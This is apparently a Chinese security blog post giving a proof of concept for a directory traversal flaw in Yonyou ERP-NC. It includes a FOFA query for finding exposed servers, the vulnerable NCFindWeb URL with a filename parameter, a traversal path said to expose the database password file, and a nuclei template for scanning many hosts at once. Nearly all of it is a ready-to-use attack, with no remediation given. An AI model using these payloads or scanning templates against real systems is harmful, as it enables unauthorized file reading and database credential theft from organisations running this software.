用友ERP-NC目录遍历漏洞
漏洞描述
用友ERP-NC 存在目录遍历漏洞,攻击者可以通过目录遍历获取敏感文件信息。
漏洞复现
fofa语法:app="用友-UFIDA-NC"
用友ERP-NC页面如下:
POC:
/NCFindWeb?service=IPreAlertConfigService&filename=
在 filename 后面加文件名即可读取文件,此处读取 WEB-INF/web.xml 文件:
http://vul/NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml 可以读取到数据库密码
nuclei批量yaml文件
id: erp-nc-directory-traversal
info:
name: ERP-NC - Local File Inclusion
author: pikpikcu
severity: high
description: ERP-NC is vulnerable to local file inclusion.
reference:
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
tags: lfi,erp-nc
metadata:
max-request: 1
http:
- method: GET
path:
- "{{BaseURL}}/NCFindWeb?service=IPreAlertConfigService&filename="
matchers-condition: and
matchers:
- type: word
words:
- "Client"
- "ncwslogin.jsp"
- "admin.jsp"
part: body
condition: and
- type: status
status:
- 200